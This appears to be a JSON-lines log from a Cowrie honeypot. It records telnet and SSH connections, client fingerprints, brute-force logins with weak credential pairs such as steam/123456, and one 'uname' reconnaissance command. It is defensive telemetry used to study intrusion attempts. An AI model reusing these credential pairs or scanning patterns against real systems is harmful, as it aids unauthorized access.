{"eventid":"cowrie.session.closed","duration":46.823347330093384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:09.773467Z","src_ip":"152.42.224.71","session":"cb3fccc808e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44152,"dst_ip":"10.17.0.5","dst_port":23,"session":"91027080927f","protocol":"telnet","message":"New connection: 152.42.224.71:44152 (10.17.0.5:23) [session: 91027080927f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:11.001441Z"}
{"eventid":"cowrie.session.closed","duration":61.27783274650574,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:11.398876Z","src_ip":"152.42.224.71","session":"c8acd0399f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44136,"dst_ip":"10.17.0.5","dst_port":23,"session":"926db05a60b6","protocol":"telnet","message":"New connection: 152.42.224.71:44136 (10.17.0.5:23) [session: 926db05a60b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:11.505863Z"}
{"eventid":"cowrie.session.closed","duration":34.73645997047424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:11.671024Z","src_ip":"152.42.224.71","session":"7d4d3c3b6976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e0a65aaf43","protocol":"telnet","message":"New connection: 152.42.224.71:44162 (10.17.0.5:23) [session: e9e0a65aaf43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:11.906177Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47250,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca07f08d7155","protocol":"ssh","message":"New connection: 31.40.204.166:47250 (159.203.135.109:22) [session: ca07f08d7155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:12.581414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:12.586179Z","src_ip":"31.40.204.166","session":"ca07f08d7155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:12.721159Z","src_ip":"31.40.204.166","session":"ca07f08d7155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:13.185356Z","src_ip":"31.40.204.166","session":"ca07f08d7155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:14.313338Z","src_ip":"31.40.204.166","session":"ca07f08d7155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.67132234573364,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:16.647087Z","src_ip":"152.42.224.71","session":"18cded94e452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.21598148345947,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:16.697326Z","src_ip":"152.42.224.71","session":"cdc9f65bb13d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"03be86614868","protocol":"telnet","message":"New connection: 152.42.224.71:39488 (10.17.0.5:23) [session: 03be86614868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:19.738441Z"}
{"eventid":"cowrie.session.closed","duration":68.57809495925903,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:23.409033Z","src_ip":"152.42.224.71","session":"a6890370ddc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39490,"dst_ip":"10.17.0.5","dst_port":23,"session":"086c1f4dac74","protocol":"telnet","message":"New connection: 152.42.224.71:39490 (10.17.0.5:23) [session: 086c1f4dac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:24.419753Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47760,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0930697639d","protocol":"ssh","message":"New connection: 31.40.204.166:47760 (159.203.135.109:22) [session: e0930697639d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:24.782433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:24.788600Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:24.918181Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b3c1d2b64e","protocol":"telnet","message":"New connection: 152.42.224.71:39500 (10.17.0.5:23) [session: f2b3c1d2b64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:25.385232Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39508,"dst_ip":"10.17.0.5","dst_port":23,"session":"575ae74877ea","protocol":"telnet","message":"New connection: 152.42.224.71:39508 (10.17.0.5:23) [session: 575ae74877ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:25.406823Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:25.785880Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:26.261750Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:26.265079Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:26.415932Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:26.420941Z","src_ip":"31.40.204.166","session":"e0930697639d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.810330867767334,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:30.019790Z","src_ip":"152.42.224.71","session":"7ea034a9a545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42228,"dst_ip":"10.17.0.5","dst_port":23,"session":"000acf920f7c","protocol":"telnet","message":"New connection: 152.42.224.71:42228 (10.17.0.5:23) [session: 000acf920f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:32.891909Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf621e2cd03","protocol":"ssh","message":"New connection: 31.40.204.166:34444 (159.203.135.109:22) [session: 7bf621e2cd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:37.116913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:37.121359Z","src_ip":"31.40.204.166","session":"7bf621e2cd03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:37.314286Z","src_ip":"31.40.204.166","session":"7bf621e2cd03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:38.193200Z","src_ip":"31.40.204.166","session":"7bf621e2cd03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.053699254989624,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:38.542627Z","src_ip":"152.42.224.71","session":"43e53429adeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:39.316689Z","src_ip":"31.40.204.166","session":"7bf621e2cd03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.292694330215454,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:43.204331Z","src_ip":"152.42.224.71","session":"75b6b2b733d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60034,"dst_ip":"10.17.0.5","dst_port":23,"session":"5021864d46f1","protocol":"telnet","message":"New connection: 152.42.224.71:60034 (10.17.0.5:23) [session: 5021864d46f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:43.665956Z"}
{"eventid":"cowrie.session.closed","duration":39.689026832580566,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:46.090220Z","src_ip":"152.42.224.71","session":"89261b745ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56400,"dst_ip":"10.17.0.5","dst_port":23,"session":"5002d96c828a","protocol":"telnet","message":"New connection: 152.42.224.71:56400 (10.17.0.5:23) [session: 5002d96c828a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:46.104985Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56414,"dst_ip":"10.17.0.5","dst_port":23,"session":"7915bbd8aeda","protocol":"telnet","message":"New connection: 152.42.224.71:56414 (10.17.0.5:23) [session: 7915bbd8aeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:46.196168Z"}
{"eventid":"cowrie.session.closed","duration":27.061256885528564,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:46.799557Z","src_ip":"152.42.224.71","session":"03be86614868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":42820,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b8788906c4","protocol":"ssh","message":"New connection: 51.79.99.235:42820 (10.17.0.5:22) [session: 77b8788906c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.695299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.700052Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.723717Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:76:d7:ca:93:83:5f:9d:bf:87:ef:fb:c4:0a:d2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRYJSoGlmyVT+iB5rhfP0ENqKEy0tg3UFI5f2Bg9Nq270BOl81dIeUiAe9t80Ak1mbwBKJsR/Fi6xzErlRtnWOfTqunrGKBUBYGfkkD2Vxhpwh8iY7plZhbwvmsL3NkLV1sLDW9y4e9gGholKyweb0ChJ++gJHre3Ze6t2phKktLZ91a9NSJkhMtOquR+mlWEt8dzfOSYh2tgsaoE+XNqTZR+mCbFmP7mAVVG/j1hHC5HeGfjOxOMLvaB9pOjJD9pF/sRsnqZoQvAmcO+8sftn8T5nqkxSEIRr2/2CMWTc7aGqlzk+rel46fEeQPLMpMC3LaePylm0/UmdIpZduvxz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:76:d7:ca:93:83:5f:9d:bf:87:ef:fb:c4:0a:d2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.794225Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:76:d7:ca:93:83:5f:9d:bf:87:ef:fb:c4:0a:d2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRYJSoGlmyVT+iB5rhfP0ENqKEy0tg3UFI5f2Bg9Nq270BOl81dIeUiAe9t80Ak1mbwBKJsR/Fi6xzErlRtnWOfTqunrGKBUBYGfkkD2Vxhpwh8iY7plZhbwvmsL3NkLV1sLDW9y4e9gGholKyweb0ChJ++gJHre3Ze6t2phKktLZ91a9NSJkhMtOquR+mlWEt8dzfOSYh2tgsaoE+XNqTZR+mCbFmP7mAVVG/j1hHC5HeGfjOxOMLvaB9pOjJD9pF/sRsnqZoQvAmcO+8sftn8T5nqkxSEIRr2/2CMWTc7aGqlzk+rel46fEeQPLMpMC3LaePylm0/UmdIpZduvxz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.798017Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:8c:83:a0:41:57:15:62:1b:b6:10:a5:12:ad:b8:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGaJi7H+U5g3XuZl24beOOCsxdgo7y8SLjBLdqHG4p9Y2SuN+0B/LzlTyTUrD6ZH91d2QCIlbfUhJ7f8m3xSVfeo5oa0TNv8qzkSbFGIKjctcxXousVRAqgjG4B/d+L3/LIzc8CfZZVTbZWKsJhMgsPEILE+AdHPlfoy7zYO6WDVOb/k5A8zxI3ofVAHW7eWP9su2SAUL99CCy5Oe0S8WmDHsaHaa1z3JBRiL3gyz0WiTT4bW+w0ai8R11cjVNQCE3fMjt3xdDGTW///KpjXx3PI02MCt280Q3/ncxZmNplSqehpYpS9PNzI11/A72hGqnC26JcBcfUIWO85B7b0ihkvkX3lUAr2WEQwLWBztUXufzRpuPO5+lsh0MyNArbRxSeYdRFn0ZRx1BBtTu7KBrfElk1RC6rN+BBOyvanmySipSkRC+ZcxNxF82GMq+IZ86bH7CjYqET8GnVdY/C8L6vnnFESSPmbdT8pshv3rwdARc6ovF8zKupQ0ed1IQkEP5D8njWr0xkKEdJ9kL5732C2i7RD4zxxauLKoJ1TFdTmO9qrDhQ6IHVrfx8M0SI4KytN5uC3WmWJZY2UxFl81Kwmx5lW+6jP958Suehz6s0kDspIjC42MLA8WP6krVoNCjmhzttkMmD5rvgEnkAZukJueD4itF/OgBLJCDU1d5ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:8c:83:a0:41:57:15:62:1b:b6:10:a5:12:ad:b8:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.817186Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:8c:83:a0:41:57:15:62:1b:b6:10:a5:12:ad:b8:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGaJi7H+U5g3XuZl24beOOCsxdgo7y8SLjBLdqHG4p9Y2SuN+0B/LzlTyTUrD6ZH91d2QCIlbfUhJ7f8m3xSVfeo5oa0TNv8qzkSbFGIKjctcxXousVRAqgjG4B/d+L3/LIzc8CfZZVTbZWKsJhMgsPEILE+AdHPlfoy7zYO6WDVOb/k5A8zxI3ofVAHW7eWP9su2SAUL99CCy5Oe0S8WmDHsaHaa1z3JBRiL3gyz0WiTT4bW+w0ai8R11cjVNQCE3fMjt3xdDGTW///KpjXx3PI02MCt280Q3/ncxZmNplSqehpYpS9PNzI11/A72hGqnC26JcBcfUIWO85B7b0ihkvkX3lUAr2WEQwLWBztUXufzRpuPO5+lsh0MyNArbRxSeYdRFn0ZRx1BBtTu7KBrfElk1RC6rN+BBOyvanmySipSkRC+ZcxNxF82GMq+IZ86bH7CjYqET8GnVdY/C8L6vnnFESSPmbdT8pshv3rwdARc6ovF8zKupQ0ed1IQkEP5D8njWr0xkKEdJ9kL5732C2i7RD4zxxauLKoJ1TFdTmO9qrDhQ6IHVrfx8M0SI4KytN5uC3WmWJZY2UxFl81Kwmx5lW+6jP958Suehz6s0kDspIjC42MLA8WP6krVoNCjmhzttkMmD5rvgEnkAZukJueD4itF/OgBLJCDU1d5ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:47.821199Z","src_ip":"51.79.99.235","session":"77b8788906c4","protocol":"ssh"}
